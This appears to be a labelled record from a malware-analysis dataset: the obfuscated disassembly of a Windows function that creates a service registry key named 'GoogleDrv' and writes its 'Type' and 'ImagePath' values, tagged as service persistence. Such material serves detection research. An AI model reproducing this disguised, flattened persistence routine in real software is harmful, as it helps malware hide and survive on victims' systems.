Function at 0x140003240
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x4e8
mov qword [rsp + 0xa8], rcx
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x4e0], rax
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x90], rax
mov eax, 0x874f46f6
mov r13, qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea rbx, str.Type
mov r12d, 0x2ec32249
mov edi, 0x8742c52c
jmp 0x1400032cd
mov eax, dword [0x140038b00]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9ee96e88
mov ecx, 0xb9f95861
nop word cs:[rax + rax]
cmove eax, ecx
cmp dword [0x140038b04], 0xa
cmovl eax, ecx
cmp eax, 0xe097817b
jg 0x140003330
cmp eax, 0xb0e5fda0
jg 0x140003390
cmp eax, 0x9e7f4b5a
jg 0x14000341a
cmp eax, 0x8742c52b
jg 0x1400034e6
cmp eax, 0x83d63245
je 0x140003638
cmp eax, 0x8617b469
jne 0x1400032cd
mov eax, dword [0x140038b00]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7ffb9598
mov ecx, 0xe097817c
jmp 0x1400032c0
cmp eax, 0x2ec32248
jle 0x1400033d0
cmp eax, 0x4b4ca63c
jg 0x140003445
cmp eax, 0x3ff631a0
jg 0x14000350e
cmp eax, 0x2ec32249
je 0x14000364f
cmp eax, 0x3b632206
jne 0x1400032cd
cmp dword [rsp + 0x6c], 0
setne byte [rsp + 0x4e]
mov eax, dword [0x140038b00]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb3d69cfa
mov ecx, 0xbc820b5a
jmp 0x1400032c0
cmp eax, 0xd4d7c302
jle 0x14000348c
cmp eax, 0xdc3a4a89
jg 0x14000352e
cmp eax, 0xd4d7c303
je 0x14000367c
cmp eax, 0xd87f18c1
jne 0x1400032cd
mov eax, 0xf3e50f45
jmp 0x1400032cd
cmp eax, 0xeb9c4521
jle 0x1400034bb
cmp eax, 0x140e0a34
jg 0x140003553
cmp eax, 0xeb9c4522
je 0x140003797
cmp eax, 0xf3e50f45
jne 0x1400032cd
mov eax, dword [0x140038b00]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb3d69cfa
mov ecx, 0x3b632206
jmp 0x1400032c0
cmp eax, 0xa575e860
jg 0x14000358b
cmp eax, 0x9e7f4b5b
je 0x14000357f
cmp eax, 0x9ee96e88
jne 0x1400032cd
mov eax, 0x3ff631a1
jmp 0x1400032cd
cmp eax, 0x6833d522
jg 0x1400035cd
cmp eax, 0x4b4ca63d
je 0x1400037de
cmp eax, 0x541e0bb7
jne 0x1400032cd
mov eax, dword [0x140038b00]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6833d523
cmove eax, edi
cmp dword [0x140038b04], 0xa
cmovl eax, edi
jmp 0x1400032cd
cmp eax, 0xb9f95860
jg 0x140003616
cmp eax, 0xb0e5fda1
je 0x140003806
cmp eax, 0xb3d69cfa
jne 0x1400032cd
mov eax, dword [rsp + 0x6c]
mov eax, 0x3b632206
jmp 0x1400032cd
cmp eax, 0xe097817c
je 0x140003815
cmp eax, 0xe8be38ba
je 0x14000357f
cmp eax, 0xea9c1e25
jne 0x1400032cd
mov eax, 0x541e0bb7
jmp 0x1400032cd
cmp eax, 0x8742c52c
je 0x140003860
cmp eax, 0x874f46f6
jne 0x1400032cd
mov rax, qword [rsp + 0x90]
mov eax, 0xd4d7c303
jmp 0x1400032cd
cmp eax, 0x3ff631a1
je 0x14000329d
cmp eax, 0x4a26d1bb
jne 0x1400032cd
mov eax, 0xa575e861
jmp 0x1400032cd
cmp eax, 0xdc3a4a8a
je 0x1400038b5
cmp eax, 0xdd9eacbf
jne 0x1400032cd
mov eax, 0xeb9c4522
mov ebp, 1
jmp 0x1400032cd
cmp eax, 0x140e0a35
je 0x14000357f
cmp eax, 0x1f4e6b13
jne 0x1400032cd
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0xa0], rax
mov eax, 0x8617b469
jmp 0x1400032cd
mov eax, 0xeb9c4522
xor ebp, ebp
jmp 0x1400032cd
cmp eax, 0xa575e861
je 0x1400038ec
cmp eax, 0xa71e686c
jne 0x1400032cd
mov rax, qword [rsp + 0x50]
add rax, 1
mov qword [rsp + 0x58], rax
mov eax, dword [0x140038b00]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xdc3a4a8a
mov ecx, 0xea9c1e25
jmp 0x1400032c0
cmp eax, 0x6833d523
je 0x14000390a
cmp eax, 0x7ffb9598
jne 0x1400032cd
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0xa0]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 4
mov rdx, rbx
xor r8d, r8d
mov r9d, 4
call r13
mov eax, 0xe097817c
jmp 0x1400032cd
cmp eax, 0xbc820b5a
jne 0x140003958
cmp byte [rsp + 0x4e], 0
mov eax, 0x4b4ca63d
mov ecx, 0x140e0a35
cmovne eax, ecx
jmp 0x1400032cd
cmp byte [rsp + 0x4f], 0
mov eax, 0xdd9eacbf
mov ecx, 0xe8be38ba
cmovne eax, ecx
jmp 0x1400032cd
mov rcx, qword [rsp + 0x60]
call fcn.140017654
mov qword [rsp + 0x50], rax
mov eax, dword [0x140038b00]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb0e5fda1
mov ecx, 0x4a26d1bb
jmp 0x1400032c0
mov qword [rsp + 0xb8], 0
lea rsi, [rsp + 0x2d0]
mov qword [rsp + 0x78], rsi
mov rax, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x78]
mov r8d, 0x208
lea rdx, str.SystemCurrentControlSetServicesGoogleDrv
call fcn.14002a340
lea r14, [rsp + 0xc0]
mov qword [rsp + 0x80], r14
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x80]
mov r8d, 0x208
xor edx, edx
call fcn.14002a9e0
lea rax, [rsp + 0xb4]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
mov dword [rsp + 0xb4], 1
lea r15, [rsp + 0xb0]
mov qword [rsp + 0x98], r15
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x60], r14
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x20], rax
mov edx, 0x104
mov r8, 0xffffffffffffffff
lea r9, str.___ws
call fcn.140003990
mov qword [rsp + 0x40], r15
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
mov rcx, 0xffffffff80000002
mov rdx, rsi
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
mov eax, 0x9e7f4b5b
mov ecx, 0x1f4e6b13
cmove eax, ecx
jmp 0x1400032cd
mov dword [rsp + 0x8c], ebp
mov rax, qword [rsp + 0x98]
mov rax, qword [rsp + 0x70]
mov rax, qword [rsp + 0x80]
mov rax, qword [rsp + 0x78]
mov rax, qword [rsp + 0x90]
mov eax, dword [0x140038b00]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9ee96e88
mov ecx, 0x3ff631a1
jmp 0x1400032c0
mov eax, dword [0x140038b00]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb0e5fda1
cmove eax, r12d
cmp dword [0x140038b04], 0xa
cmovl eax, r12d
jmp 0x1400032cd
mov rax, qword [rsp + 0x60]
mov eax, 0x2ec32249
jmp 0x1400032cd
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0xa0]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 4
mov rdx, rbx
xor r8d, r8d
mov r9d, 4
call r13
mov dword [rsp + 0x6c], eax
mov eax, dword [0x140038b00]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7ffb9598
mov ecx, 0xd87f18c1
jmp 0x1400032c0
mov rax, qword [rsp + 0x58]
add eax, eax
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0xb8]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdx
lea rdx, str.ImagePath
xor r8d, r8d
mov r9d, 1
call r13
test eax, eax
setne byte [rsp + 0x4f]
mov eax, dword [0x140038b00]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6833d523
mov ecx, 0x83d63245
jmp 0x1400032c0
mov rax, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
mov eax, 0xa71e686c
jmp 0x1400032cd
mov eax, dword [0x140038b00]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xdc3a4a8a
mov ecx, 0xa71e686c
jmp 0x1400032c0
mov rax, qword [rsp + 0x58]
mov rax, qword [rsp + 0x58]
mov rax, qword [rsp + 0x58]
mov rax, qword [rsp + 0x58]
mov rax, qword [rsp + 0x58]
add eax, eax
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0xb8]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdx
lea rdx, str.ImagePath
xor r8d, r8d
mov r9d, 1
call r13
mov eax, 0x8742c52c
jmp 0x1400032cd
cmp eax, 0xb9f95861
jne 0x1400032cd
mov esi, dword [rsp + 0x8c]
mov rcx, qword [rsp + 0x4e0]
xor rcx, rsp
call fcn.140009010
mov eax, esi
add rsp, 0x4e8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret